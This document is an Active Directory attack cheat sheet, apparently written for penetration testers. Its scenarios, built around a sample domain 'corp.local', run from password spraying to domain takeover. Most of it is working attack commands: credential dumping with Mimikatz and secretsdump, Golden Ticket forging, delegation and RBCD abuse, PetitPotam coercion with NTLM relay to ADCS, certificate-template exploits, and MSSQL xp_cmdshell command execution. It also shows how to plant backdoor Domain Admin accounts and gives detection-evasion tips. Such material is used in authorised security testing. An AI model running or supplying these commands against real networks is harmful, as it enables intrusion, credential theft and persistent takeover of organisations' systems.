| Use LOLBins (Living Off the Land Binaries) | Upload Mimikatz directly (it has signatures) |
| Operate during normal business hours | Use PowerShell download cradles (red flag) |
| Use existing admin tools (sc.exe, schtasks, wmic) | Attack all machines simultaneously |
| Encrypt your traffic | Use default tool names |
Scenario: You only have an IP range (192.168.1.0/24). Work your way to Domain Admin.
Phase 1: Reconnaissance
Phase 2: Initial Access
Phase 3: Privilege Escalation
Phase 4: Lateral Movement
Phase 5: Domain Dominance
Phase 6: Persistence
# Discover live hosts
nmap -sn 192.168.1.0/24 | grep "report for"
# Identify the Domain Controller
nmap -p 88,389,445,3268 192.168.1.0/24 --open
# DC: 192.168.1.10, Domain: corp.local ← Found
# Enumerate users
kerbrute userenum -d corp.local --dc 192.168.1.10 \
/usr/share/seclists/Usernames/Names/names.txt -o valid_users.txt
# Password spraying
crackmapexec smb 192.168.1.10 -u valid_users.txt -p 'Summer2024!' --continue-on-success
# Result: [+] CORP\john:Summer2024! — NOT admin
# Result: [+] CORP\sarah:Summer2024!
# AS-REP Roasting (try even without credentials)
python3 GetNPUsers.py corp.local/ -no-pass -usersfile valid_users.txt \
-format hashcat -o asrep.txt
hashcat -m 18200 asrep.txt rockyou.txt
# Result: svc_backup:Backup2023! (cracked)
# Enumerate with credentials
python3 bloodhound.py -u john -p 'Summer2024!' -d corp.local -dc 192.168.1.10 -c All --zip
# Upload to BloodHound — path discovered:
# john → Member of → IT Support → GenericAll on → helpdesk (user) → AdminTo → WS-01
# WS-01 → Has Session of → svc_admin (Domain Admin!)
# Step 1: Force-change helpdesk's password
$newpass = ConvertTo-SecureString 'Hacked@2024' -AsPlainText -Force
Set-DomainUserPassword -Identity helpdesk -AccountPassword $newpass
# Step 2: Gain admin access to WS-01 (helpdesk is local admin there)
evil-winrm -i 192.168.1.50 -u helpdesk -p 'Hacked@2024'
# Step 3: Dump sessions on WS-01
mimikatz # sekurlsa::logonpasswords
# svc_admin NTLM hash obtained!
# svc_admin is a Domain Admin
# Step 1: DCSync
python3 secretsdump.py corp.local/svc_admin@192.168.1.10 -just-dc
# Step 2: Got krbtgt hash → Create Golden Ticket
python3 ticketer.py \
-nthash <krbtgt_hash> \
-domain-sid S-1-5-21-... \
-domain corp.local \
-groups 512 \
Administrator
# Step 3: Shell on DC
export KRB5CCNAME=Administrator.ccache
python3 psexec.py -k -no-pass corp.local/Administrator@dc01.corp.local
# whoami → nt authority\system on DC! 🎉
# Create a backdoor admin user
net user ghostadmin P@ssw0rd123! /add /domain
net group "Domain Admins" ghostadmin /add /domain
# AdminSDHolder abuse
# Save the Golden Ticket (10 year validity)
# Save DCSync credentials
| Tool | Purpose |
|---|---|
nmap |
Network/port scanning |
crackmapexec / netexec |
SMB/WinRM/LDAP attacks & enumeration |
kerbrute |
User enumeration, password spraying |
impacket suite |
DCSync, secretsdump, psexec, tickets |
evil-winrm |
WinRM shell |
BloodHound |
AD attack path visualization |
SharpHound |
AD data collector for BloodHound |
Mimikatz |
Credential dumping, ticket attacks |
Rubeus |
Kerberos attacks (Kerberoast, tickets) |
PowerView |
AD enumeration (PowerShell) |
ldapdomaindump |
LDAP data dump to HTML |
Responder |
LLMNR/NBT-NS poisoning |
hashcat |
Password cracking (GPU) |
john |
Password cracking (CPU) |
smbclient |
SMB file access |
rpcclient |
RPC enumeration |
| Attack | Tools |
|---|---|
| User Enumeration | kerbrute, rpcclient, crackmapexec |
| Password Spraying | kerbrute, crackmapexec |
| AS-REP Roasting | GetNPUsers.py, Rubeus |
| Kerberoasting | GetUserSPNs.py, Rubeus |
| Hash Dumping | secretsdump.py, Mimikatz, crackmapexec |
| Pass the Hash | psexec.py, evil-winrm, crackmapexec |
| Pass the Ticket | Rubeus, ticketer.py + psexec.py |
| DCSync | secretsdump.py, Mimikatz |
| Golden Ticket | ticketer.py, Mimikatz, Rubeus |
| Silver Ticket | ticketer.py, Mimikatz, Rubeus |
| ACL Abuse | PowerView, SharpADWS |
| GPO Abuse | SharpGPOAbuse, PowerView |
| BloodHound Collection | bloodhound.py (Linux) / SharpHound (Windows) |
| Lateral Movement | psexec.py, wmiexec.py, evil-winrm, dcomexec.py |
| Port | Protocol | Service |
|---|---|---|
| 22 | TCP | SSH |
| 53 | TCP/UDP | DNS |
| 80/443 | TCP | HTTP/HTTPS |
| 88 | TCP/UDP | Kerberos ← AD Key! |
| 135 | TCP | RPC |
| 139 | TCP | NetBIOS |
| 389 | TCP/UDP | LDAP ← AD Key! |
| 445 | TCP | SMB ← AD Key! |
| 464 | TCP/UDP | Kerberos Password Change |
| 636 | TCP | LDAPS (Secure) |
| 3268 | TCP | Global Catalog LDAP ← AD Key! |
| 3269 | TCP | Global Catalog LDAPS |
| 3389 | TCP | RDP |
| 5985 | TCP | WinRM HTTP ← Evil-WinRM! |
| 5986 | TCP | WinRM HTTPS |
| Mode | Hash Type |
|---|---|
| 1000 | NTLM (most common) |
| 5600 | NTLMv2 (Net-NTLMv2 from Responder) |
| 13100 | Kerberoasting (TGS-REP) |
| 18200 | AS-REP Roasting |
adminCount attributeReal-life analogy: Your boss gave you their ID card and said: “Go to the bank and make a transaction on my account.” You’re acting on behalf of your boss, not yourself. That’s delegation — one account can authenticate on behalf of another.
Three types of delegation in AD:
Normal Flow (no delegation):
User ──► Service Server: "I need a file"
Service Server: "OK, I'll verify with DC"
DC ──► Service Server: "This user is valid"
Service Server ──► User: Returns file
Unconstrained Delegation Flow:
User ──► WEB-01 (unconstrained): "I need something"
User: "Here, take my TGT so you can access backend services as me"
WEB-01: *Stores user's TGT in memory* ← THIS IS THE PROBLEM
Attacker: *Compromises WEB-01*
Attacker: *Dumps all TGTs from memory* → Including Domain Admin's TGT!
# PowerView (Windows)
Get-DomainComputer -Unconstrained | select name, dnshostname
# Impacket (from Linux)
python3 findDelegation.py corp.local/user1:Password123 -dc-ip 192.168.1.10
# LDAP query
ldapsearch -x -H ldap://192.168.1.10 \
-D "user1@corp.local" -w 'Password123' \
-b "dc=corp,dc=local" \
"(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" \
name dNSHostName
# BloodHound query
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
Note: Domain Controllers are unconstrained by default — ignore them, this is expected behavior.
Gain access to WEB-01 via any available method.
# Monitor for new TGTs in real-time
.\Rubeus.exe monitor /interval:5 /nowrap
# Dump existing tickets
.\Rubeus.exe dump /nowrap
.\Rubeus.exe dump /service:krbtgt /nowrap # TGTs only
# Mimikatz
mimikatz # sekurlsa::tickets /export
# Inject the captured ticket
.\Rubeus.exe ptt /ticket:doIFuj...base64_ticket...==
# Verify
klist
# Access the DC
dir \\dc01.corp.local\C$
Instead of waiting for an admin to authenticate, use Coercion attacks to force the DC to authenticate to your machine.
# Step 1: Start monitoring on WEB-01
.\Rubeus.exe monitor /interval:5 /nowrap
# Step 2: Coerce the DC to authenticate to WEB-01
python3 printerbug.py corp.local/user1:Password123@dc01.corp.local WEB-01.corp.local
# Step 3: DC's TGT is captured on WEB-01 — appears in Rubeus output
# Step 4: Import the ticket → DCSync → Game Over
In Constrained Delegation, a server can only delegate to specific services — safer than unconstrained, but still abusable.
WEB-01 is allowed to delegate to:
✓ cifs/FILESERVER.corp.local
✗ ldap/DC01.corp.local (not allowed)
BUT — if the attacker has WEB-01's service account hash:
They can request a ticket for ANY user (including Administrator!) to FILESERVER
Key protocols: S4U2Self + S4U2Proxy
S4U2Self: "WEB-01 can request a TGS for itself on behalf of Administrator"
S4U2Proxy: "WEB-01 uses that TGS to access FILESERVER as Administrator"
Attacker: Uses WEB-01's hash → Creates Administrator's TGS → Accesses FILESERVER
# PowerView
Get-DomainUser -TrustedToAuth | select samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select name, msds-allowedtodelegateto
# findDelegation.py
python3 findDelegation.py corp.local/user1:Password123 -dc-ip 192.168.1.10
# Output:
# AccountName AccountType DelegationType DelegationRightsTo
# websvc User Constrained w/ Protocol cifs/FILESERVER.corp.local
# Via Kerberoasting (if it has an SPN)
python3 GetUserSPNs.py corp.local/user1:Password123 -request -outputfile websvc.hash
hashcat -m 13100 websvc.hash rockyou.txt
# Result: websvc:WebSvc@2024
# Get Administrator's TGS for FILESERVER using websvc credentials
.\Rubeus.exe s4u `
/user:websvc `
/password:WebSvc@2024 `
/impersonateuser:Administrator `
/msdsspn:cifs/FILESERVER.corp.local `
/ptt
# Or with hash
.\Rubeus.exe s4u `
/user:websvc `
/rc4:<ntlm_hash> `
/impersonateuser:Administrator `
/msdsspn:cifs/FILESERVER.corp.local `
/ptt
# Verify and access
klist
dir \\FILESERVER.corp.local\C$
# Request service ticket via getST.py
python3 getST.py corp.local/websvc:WebSvc@2024 \
-spn cifs/FILESERVER.corp.local \
-impersonate Administrator \
-dc-ip 192.168.1.10
# Use it
export KRB5CCNAME=Administrator@cifs_FILESERVER.corp.local@CORP.LOCAL.ccache
python3 smbclient.py -k -no-pass corp.local/Administrator@FILESERVER.corp.local
If websvc is only allowed for cifs/FILESERVER, but you need ldap/DC01 — you can change the service name for the same host!
# Request ldap instead of cifs (only works if FILESERVER and DC01 are the same machine)
.\Rubeus.exe s4u `
/user:websvc `
/rc4:<hash> `
/impersonateuser:Administrator `
/msdsspn:cifs/dc01.corp.local `
/altservice:ldap `
/ptt
# Now you can DCSync!
python3 secretsdump.py -k -no-pass corp.local/Administrator@dc01.corp.local
In RBCD, control is inverted — instead of the delegating server deciding where it can go, the target resource decides who can authenticate to it.
Normal Constrained: WEB-01 (delegator) → "I can access FILESERVER"
RBCD: FILESERVER (resource) → "WEB-01 can authenticate on my behalf"
Setting: FILESERVER attribute → msDS-AllowedToActOnBehalfOfOtherIdentity = WEB-01
Why is it dangerous? If an attacker has:
WriteProperty / GenericWrite / GenericAll on any machine object ORThey can set RBCD and authenticate as any user to that machine.
# BloodHound: Look for "Shortest Paths to Domain Admins from Owned Principals"
# PowerView — check ACLs on computer objects
Find-InterestingDomainAcl -ResolveGUIDs | `
Where-Object {$_.ObjectType -eq "Computer" -and `
$_.ActiveDirectoryRights -match "WriteProperty|GenericAll|GenericWrite"}
# Check MachineAccountQuota (default is 10)
Get-DomainObject -Identity "DC=corp,DC=local" | select ms-ds-machineaccountquota
# Impacket (from Linux)
python3 addcomputer.py corp.local/user1:Password123 \
-computer-name 'ATTACKPC$' \
-computer-pass 'AttackPass@123' \
-dc-ip 192.168.1.10
# Powermad (Windows)
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount ATTACKPC \
-Password (ConvertTo-SecureString 'AttackPass@123' -AsPlainText -Force)
# PowerView — set msDS-AllowedToActOnBehalfOfOtherIdentity on TARGET-PC
$ComputerSid = Get-DomainComputer ATTACKPC -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer TARGET-PC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# Impacket (from Linux) — rbcd.py
python3 rbcd.py corp.local/user1:Password123 \
-delegate-from 'ATTACKPC$' \
-delegate-to 'TARGET-PC$' \
-action write \
-dc-ip 192.168.1.10
# Request Administrator's TGS for TARGET-PC using ATTACKPC$ credentials
python3 getST.py corp.local/'ATTACKPC$':AttackPass@123 \
-spn cifs/TARGET-PC.corp.local \
-impersonate Administrator \
-dc-ip 192.168.1.10
# Use the ticket
export KRB5CCNAME=Administrator@cifs_TARGET-PC.corp.local@CORP.LOCAL.ccache
python3 psexec.py -k -no-pass corp.local/Administrator@TARGET-PC.corp.local
# Remove RBCD setting
Set-DomainObject TARGET-PC -Clear 'msds-allowedtoactonbehalfofotheridentity'
# Remove fake computer account
Remove-ADComputer -Identity ATTACKPC
Coercion means forcing a machine to authenticate to yours. When the target machine tries to authenticate, you capture its NTLM hash or TGT.
Attack Flow:
Attacker ──► "Hey DC, please connect to MY machine at 192.168.1.100"
DC ──► 192.168.1.100: [Attempts to authenticate]
Attacker captures: DC$ NTLM hash OR TGT
This hash can be used to:
→ NTLM Relay → DCSync (if signing is disabled)
→ Capture TGT on an unconstrained delegation machine
→ Crack the hash
Background: The Windows Print Spooler service has a “feature” that allows one machine to callback to another. It’s mostly enabled by default.
# Check if Print Spooler is running
crackmapexec smb 192.168.1.10 -u user1 -p Password123 -M spooler
# Coerce with PrinterBug (Python)
python3 printerbug.py corp.local/user1:Password123@dc01.corp.local 192.168.1.100
# DC01 will now try to authenticate to 192.168.1.100
# Capture with Responder in another terminal
sudo python3 Responder.py -I eth0
# Windows tool
.\SpoolSample.exe dc01.corp.local 192.168.1.100
Background: Abuses MS-EFSRPC (Encrypted File System Remote Protocol). Forces the DC to perform EFS authentication to your machine. Works without credentials (unauthenticated coercion).
# Install
git clone https://github.com/topotam/PetitPotam
# Unauthenticated coercion (no credentials needed!)
python3 PetitPotam.py 192.168.1.100 dc01.corp.local
# Authenticated
python3 PetitPotam.py -u user1 -p Password123 -d corp.local 192.168.1.100 dc01.corp.local
# Capture in another terminal
sudo python3 Responder.py -I eth0
# Or relay if you want to forward the auth
python3 ntlmrelayx.py -t ldap://dc01.corp.local --escalate-user user1
# Install
pip3 install coercer
# Scan — which coercion methods are available?
python3 Coercer.py scan -u user1 -p Password123 -d corp.local -t dc01.corp.local
# Coerce (try all methods)
python3 Coercer.py coerce \
-u user1 -p Password123 -d corp.local \
-t dc01.corp.local \
-l 192.168.1.100
A powerful combo — achieves Domain Admin with no prior credentials.
Attack Chain:
PetitPotam → Force DC to authenticate to our machine
ntlmrelayx → Relay DC$ hash to ADCS (Certificate Authority)
ADCS → Issues a certificate in DC$'s name
Certificate → Use it to authenticate as DC$ → DCSync → Game Over
# Step 1: Point ntlmrelayx at ADCS
python3 ntlmrelayx.py \
-t http://ca.corp.local/certsrv/certfnsh.asp \
--adcs \
--template DomainController
# Step 2: Coerce the DC
python3 PetitPotam.py 192.168.1.100 dc01.corp.local
# Result: DC$'s certificate (base64 encoded)
# Step 3: Get a TGT with the certificate
python3 gettgtpkinit.py corp.local/'DC01$' -cert-pfx dc01.pfx Administrator.ccache
# Step 4: DCSync!
export KRB5CCNAME=Administrator.ccache
python3 secretsdump.py -k -no-pass corp.local/'DC01$'@dc01.corp.local
ADCS is a PKI (Public Key Infrastructure) integrated with AD that issues digital certificates for login, encryption, and signing.
Why attack it? A certificate = proof of identity. If you can forge a certificate for any user or computer, you can authenticate as them and obtain their hash or TGT.
| Term | Description |
|---|---|
| CA (Certificate Authority) | The server that issues certificates |
| Certificate Template | A blueprint defining how a certificate is created |
| EKU (Extended Key Usage) | The certificate’s purpose (client auth, email, etc.) |
| SAN (Subject Alternative Name) | Alternate names in a certificate — the primary abuse point |
| ESC1–ESC8 | 8 known ADCS attack techniques |
# Install
pip3 install certipy-ad
# or
git clone https://github.com/ly4k/Certipy && cd Certipy && pip3 install .
Conditions:
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag → you can specify the SAN (e.g., Administrator)# Step 1: Find vulnerable templates
certipy find -u user1@corp.local -p Password123 -dc-ip 192.168.1.10 -vulnerable -stdout
# Look for:
# Template Name: UserTemplate
# Client Authentication: True
# Enrollee Supplies Subject: True ← ESC1 Vulnerability!
# Enrollment Rights: Domain Users ← Everyone can enroll!
# Step 2: Request a certificate for Administrator
certipy req \
-u user1@corp.local -p Password123 \
-ca CORP-CA \
-template UserTemplate \
-upn administrator@corp.local \
-dc-ip 192.168.1.10
# → administrator.pfx
# Step 3: Get TGT and hash from certificate
certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10
# Output:
# Got hash for 'administrator@corp.local': aad3...31d6...
# Saved TGT to administrator.ccache
# Step 4: Use them
export KRB5CCNAME=administrator.ccache
python3 secretsdump.py -k -no-pass corp.local/Administrator@dc01.corp.local
Condition: Template has “Any Purpose” EKU or no EKU at all.
# Detect
certipy find -u user1@corp.local -p Password123 -dc-ip 192.168.1.10 -vulnerable -stdout
# [!] Vulnerabilities: ESC2
# Attack similarly to ESC1
certipy req \
-u user1@corp.local -p Password123 \
-ca CORP-CA -template AnyPurposeTemplate \
-upn administrator@corp.local \
-dc-ip 192.168.1.10
Concept: An enrollment agent can request certificates on behalf of others.
# Step 1: Get an Enrollment Agent certificate
certipy req \
-u user1@corp.local -p Password123 \
-ca CORP-CA -template EnrollmentAgentTemplate \
-dc-ip 192.168.1.10
# → user1.pfx
# Step 2: Use the agent cert to get Administrator's certificate
certipy req \
-u user1@corp.local -p Password123 \
-ca CORP-CA -template User \
-on-behalf-of corp\Administrator \
-pfx user1.pfx \
-dc-ip 192.168.1.10
# → administrator.pfx
# Step 3: Authenticate
certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10
Concept: If the attacker has WriteProperty on a template, they can modify it to create an ESC1 scenario.
# Step 1: Check for vulnerable template ACLs
certipy find -u user1@corp.local -p Password123 -dc-ip 192.168.1.10 -vulnerable -stdout
# [!] Vulnerabilities: ESC4 — Write Owner: user1
# Step 2: Modify the template (turn it into ESC1)
certipy template \
-u user1@corp.local -p Password123 \
-template VulnerableTemplate \
-save-old \
-dc-ip 192.168.1.10
# Step 3: Exploit as ESC1
certipy req \
-u user1@corp.local -p Password123 \
-ca CORP-CA -template VulnerableTemplate \
-upn administrator@corp.local \
-dc-ip 192.168.1.10
# Step 4: Restore the template (cleanup)
certipy template \
-u user1@corp.local -p Password123 \
-template VulnerableTemplate \
-configuration VulnerableTemplate.json \
-dc-ip 192.168.1.10
Concept: A flag on the CA that allows specifying a SAN in any template — even without the Enrollee Supplies Subject flag.
certipy find -u user1@corp.local -p Password123 -dc-ip 192.168.1.10 -vulnerable -stdout
# [!] CA Vulnerabilities: ESC6
# Even a normal template works
certipy req \
-u user1@corp.local -p Password123 \
-ca CORP-CA -template User \
-upn administrator@corp.local \
-dc-ip 192.168.1.10
Concept: Attacker has ManageCA or ManageCertificates rights on the CA.
# Step 1: Detect
certipy find -u user1@corp.local -p Password123 -dc-ip 192.168.1.10 -vulnerable -stdout
# [!] Vulnerabilities: ESC7 — ManageCA: user1
# Step 2: Enable the ESC6 flag (if you have ManageCA)
certipy ca \
-u user1@corp.local -p Password123 \
-ca CORP-CA \
-enable-userspecifiedsan \
-dc-ip 192.168.1.10
# Step 3: Now exploit as ESC6
certipy req \
-u user1@corp.local -p Password123 \
-ca CORP-CA -template User \
-upn administrator@corp.local \
-dc-ip 192.168.1.10
# Alternative: Approve a failed request with ManageCertificates
certipy ca \
-u user1@corp.local -p Password123 \
-ca CORP-CA \
-issue-request <REQUEST_ID> \
-dc-ip 192.168.1.10
# (This is what was shown in the PetitPotam section)
python3 ntlmrelayx.py \
-t http://ca.corp.local/certsrv/certfnsh.asp \
--adcs \
--template DomainController \
--no-http-server \
-smb2support
python3 PetitPotam.py 192.168.1.100 dc01.corp.local
Concept: If the attacker has GenericWrite on a user/computer account, they can modify the msDS-KeyCredentialLink attribute. This enables Kerberos PKINIT authentication without knowing the password.
# pywhisker (from Linux)
python3 pywhisker.py \
-d corp.local -u user1 -p Password123 \
--target targetuser \
--action add \
--dc-ip 192.168.1.10
# → targetuser.pfx + pfx_password
# Get TGT
python3 gettgtpkinit.py corp.local/targetuser \
-cert-pfx targetuser.pfx \
-pfx-pass <pfx_password> \
targetuser.ccache
# Get NT hash (UnPAC the hash)
export KRB5CCNAME=targetuser.ccache
python3 getnthash.py corp.local/targetuser -key <session_key>
# Whisker (Windows)
.\Whisker.exe add /target:targetuser
.\Rubeus.exe asktgt /user:targetuser /certificate:<base64_cert> /password:<pfx_pass> /ptt
Microsoft SQL Server is very common in AD environments. It uses Kerberos authentication and is often misconfigured — with linked servers, xp_cmdshell, and impersonation all potentially available.
Attack Surface:
xp_cmdshell → OS Command Execution# Nmap
nmap -p 1433 192.168.1.0/24 --open
# PowerUpSQL (Windows)
Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceDomain | Get-SQLServerInfo
# Metasploit
use auxiliary/scanner/mssql/mssql_ping
# Impacket mssqlclient (from Linux)
python3 mssqlclient.py corp.local/user1:Password123@192.168.1.30 -windows-auth
# SQL auth
python3 mssqlclient.py sa:Password@192.168.1.30
# PowerUpSQL (Windows)
Get-SQLQuery -Instance "SQLSERVER\SQLEXPRESS" -Query "SELECT @@version" \
-Username "user1" -Password "Password123"
-- Current user and privileges
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
-- All databases
SELECT name FROM master.dbo.sysdatabases;
-- All logins
SELECT name, type_desc FROM master.sys.server_principals;
-- Check for impersonation privileges
SELECT distinct b.name FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';
-- Find linked servers
SELECT srvname, srvproduct, rpcout FROM master..sysservers;
EXEC sp_linkedservers;
-- Enable xp_cmdshell (requires sysadmin)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- Run OS commands
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'hostname';
EXEC xp_cmdshell 'net user hacker Password@123 /add && net localgroup administrators hacker /add';
-- Reverse shell
EXEC xp_cmdshell 'powershell -e <base64_encoded_payload>';
-- Impersonate another SQL user
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER; -- Shows 'sa'
SELECT IS_SRVROLEMEMBER('sysadmin'); -- Shows 1 (sysadmin!)
-- Now use xp_cmdshell
EXEC xp_cmdshell 'whoami';
-- Find linked servers
SELECT srvname FROM master..sysservers WHERE srvname != @@servername;
-- Result: SQLSERVER2
-- Query the other server
SELECT * FROM OPENQUERY("SQLSERVER2", 'SELECT SYSTEM_USER');
-- Execute commands on the other server
EXEC ('EXEC xp_cmdshell ''whoami''') AT [SQLSERVER2];
-- If SQLSERVER2 runs in a sysadmin context:
EXEC ('EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE') AT [SQLSERVER2];
EXEC ('EXEC xp_cmdshell ''whoami''') AT [SQLSERVER2];
# Audit all vulnerable SQL servers
Invoke-SQLAudit -Instance "SQLSERVER\SQLEXPRESS" -Verbose
# Execute commands via xp_cmdshell
Invoke-SQLOSCmd -Instance "SQLSERVER\SQLEXPRESS" -Command "whoami" -RawResults
# Find privilege escalation paths
Invoke-SQLEscalatePriv -Instance "SQLSERVER\SQLEXPRESS" -Verbose
# Linked server chain attack
Get-SQLServerLinkCrawl -Instance "SQLSERVER" -Query "exec master..xp_cmdshell 'whoami'"
-- Capture NTLM hash via MSSQL
-- First start Responder: sudo python3 Responder.py -I eth0
EXEC xp_dirtree '\\192.168.1.100\share';
-- The MSSQL service account's hash will appear in Responder!
-- Works even without sysadmin:
SELECT * FROM fn_xe_file_target_read_file('\\192.168.1.100\share\x.xel', NULL, NULL, NULL);
An AD Forest is a group of one or more domains sharing a common schema. A Trust allows users from one forest to access resources in another.
corp.local (Forest A) partner.local (Forest B)
┌─────────────┐ ┌─────────────┐
│ corp.local │◄───Trust──────►│partner.local│
│ (your org) │ │ (acquired) │
└─────────────┘ └─────────────┘
If corp.local is compromised → partner.local is a target too!
| Type | Direction | Description |
|---|---|---|
| One-way | A→B | Users from A can access B, but not vice versa |
| Two-way (Bidirectional) | A↔B | Access in both directions |
| Transitive | A→B→C | If A trusts B and B trusts C, A also trusts C |
| Non-transitive | A→B only | Only the direct trust applies |
# PowerView
Get-DomainTrust
Get-ForestTrust
Get-DomainTrust -Domain partner.local
# Impacket
python3 getTrustedDomainNames.py corp.local/user1:Password123 -dc-ip 192.168.1.10
# Windows built-in
nltest /domain_trusts
nltest /trusted_domains
Scenario: corp.local has a child domain child.corp.local. If you compromise the child, attack the parent.
SID History is an attribute used in migrations that stores a user’s old domain SIDs. By injecting a fake SID history containing the Enterprise Admins SID, you gain access to the parent domain.
# Step 1: Get the child domain's krbtgt hash
python3 secretsdump.py child.corp.local/Administrator:Password@childdc.child.corp.local \
-just-dc-user krbtgt
# Step 2: Get required SIDs
# Child domain SID:
python3 lookupsid.py child.corp.local/user1:Password123@childdc.child.corp.local 0
# Parent domain Enterprise Admins SID:
python3 lookupsid.py corp.local/user1:Password123@dc01.corp.local | grep "Enterprise Admins"
# S-1-5-21-PARENT-SID-519 (519 = Enterprise Admins RID)
# Step 3: Create an inter-realm Golden Ticket with extra SID
python3 ticketer.py \
-nthash <child_krbtgt_hash> \
-domain-sid S-1-5-21-CHILD-SID \
-domain child.corp.local \
-extra-sid S-1-5-21-PARENT-SID-519 \
-groups 512 \
Administrator
# Step 4: Access the parent DC
export KRB5CCNAME=Administrator.ccache
python3 psexec.py -k -no-pass corp.local/Administrator@dc01.corp.local
# Find SPNs in the foreign forest
python3 GetUserSPNs.py corp.local/user1:Password123 \
-target-domain partner.local -dc-ip 192.168.1.10
# Request hashes
python3 GetUserSPNs.py corp.local/user1:Password123 \
-target-domain partner.local -request
# Crack them
hashcat -m 13100 cross_forest_hashes.txt rockyou.txt
# Find users from one domain who are members of groups in another
Get-DomainForeignGroupMember -Domain partner.local
# PowerView
Get-DomainUser -Domain partner.local | Where-Object {$_.memberof -match "corp.local"}
# When two domains trust each other, a special "trust account" is created
# In corp.local: PARTNER$ account (trust account for partner.local)
# This account's hash can be used!
# Find trust accounts
Get-DomainUser -Filter {samaccountname -like "*$"} | `
Where-Object {$_.useraccountcontrol -match "INTERDOMAIN_TRUST"}
# Mimikatz — extract trust key (on DC)
mimikatz # lsadump::trust /patch
# → Use trust key to forge inter-realm tickets
# If corp.local's CA issues certificates to partner.local users:
certipy find -u user1@corp.local -p Password123 -dc-ip 192.168.1.10 -vulnerable
# Check for cross-forest enrollment
certipy req -u user1@corp.local -p Password123 \
-ca CORP-CA \
-template CrossForestTemplate \
-upn administrator@partner.local \
-dc-ip 192.168.1.10
Situation: You have user1:Password123. WEB-01 has unconstrained delegation and you have compromised it. Goal: Become Domain Admin.
# Step 1: Start Rubeus monitor on WEB-01
.\Rubeus.exe monitor /interval:5 /nowrap
# Step 2: Coerce the DC to authenticate to WEB-01
python3 PetitPotam.py WEB-01.corp.local dc01.corp.local -u user1 -p Password123 -d corp.local
# Step 3: DC$'s TGT is captured on WEB-01 — visible in Rubeus output
# Step 4: Inject the TGT
.\Rubeus.exe ptt /ticket:<base64_TGT>
# Step 5: DCSync as DC$
python3 secretsdump.py -k -no-pass 'corp.local/DC01$@dc01.corp.local'
# Step 6: krbtgt hash → Golden Ticket → Domain Admin!
Situation: Only a low-privilege user (user1:Password123) and an ADCS environment with a vulnerable ESC1 template. Goal: Become Domain Admin.
# Step 1: Find vulnerable templates
certipy find -u user1@corp.local -p Password123 -dc-ip 192.168.1.10 -vulnerable -stdout
# Step 2: Request a certificate for Administrator
certipy req -u user1@corp.local -p Password123 \
-ca CORP-CA -template VulnerableTemplate \
-upn administrator@corp.local -dc-ip 192.168.1.10
# → administrator.pfx
# Step 3: Get TGT and hash
certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10
# → administrator.ccache + NTLM hash
# Step 4: You are Domain Admin!
evil-winrm -i 192.168.1.10 -u Administrator -H '<ntlm_hash>'
Situation: user1 has GenericWrite on WS-02’s computer object (found via BloodHound). MachineAccountQuota > 0. Goal: SYSTEM shell on WS-02.
# Step 1: Create a fake computer account
python3 addcomputer.py corp.local/user1:Password123 \
-computer-name 'FAKEPC$' -computer-pass 'FakePass@123' \
-dc-ip 192.168.1.10
# Step 2: Set RBCD on WS-02
python3 rbcd.py corp.local/user1:Password123 \
-delegate-from 'FAKEPC$' -delegate-to 'WS-02$' \
-action write -dc-ip 192.168.1.10
# Step 3: Get Administrator's TGS
python3 getST.py corp.local/'FAKEPC$':FakePass@123 \
-spn cifs/WS-02.corp.local \
-impersonate Administrator -dc-ip 192.168.1.10
# Step 4: Get a shell on WS-02
export KRB5CCNAME=Administrator@cifs_WS-02.corp.local@CORP.LOCAL.ccache
python3 psexec.py -k -no-pass corp.local/Administrator@WS-02.corp.local
Situation: You have SQL login access to SQLSERVER-1. It is linked to SQLSERVER-2 in a sysadmin context, and SQLSERVER-2’s service account is a Domain Admin. Goal: Domain compromise.
# Step 1: Connect to SQLSERVER-1
python3 mssqlclient.py corp.local/user1:Password123@192.168.1.30 -windows-auth
# Step 2: View linked servers
SQL> EXEC sp_linkedservers;
# Result: SQLSERVER-2
# Step 3: Execute commands on SQLSERVER-2
SQL> EXEC ('xp_cmdshell ''whoami''') AT [SQLSERVER-2];
# Result: corp\svc_sqladmin (Domain Admin!)
# Step 4: Create a Domain Admin backdoor
SQL> EXEC ('xp_cmdshell ''net user backdoor Pass@123 /add /domain && net group "Domain Admins" backdoor /add /domain''') AT [SQLSERVER-2];
# Step 5: Log in
evil-winrm -i 192.168.1.10 -u backdoor -p 'Pass@123'
EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CAsxp_cmdshell| Attack | Tools |
|---|---|
| Find Delegation | findDelegation.py, PowerView, BloodHound |
| Unconstrained Delegation | Rubeus (monitor/dump/ptt), Mimikatz |
| Constrained Delegation | getST.py, Rubeus s4u |
| RBCD Setup | rbcd.py, PowerView, Powermad |
| Create Computer Account | addcomputer.py, Powermad |
| Coercion | Coercer, PetitPotam, PrinterBug |
| NTLM Relay | ntlmrelayx.py, Responder |
| Find ADCS Vulns | certipy find, PSPKIAudit |
| Exploit ADCS | certipy req/auth |
| Shadow Credentials | pywhisker, Whisker, Rubeus |
| MSSQL | mssqlclient.py, PowerUpSQL, CrackMapExec |
| Forest Trusts | PowerView, BloodHound, Impacket |
| PKINIT Auth | gettgtpkinit.py, certipy auth |
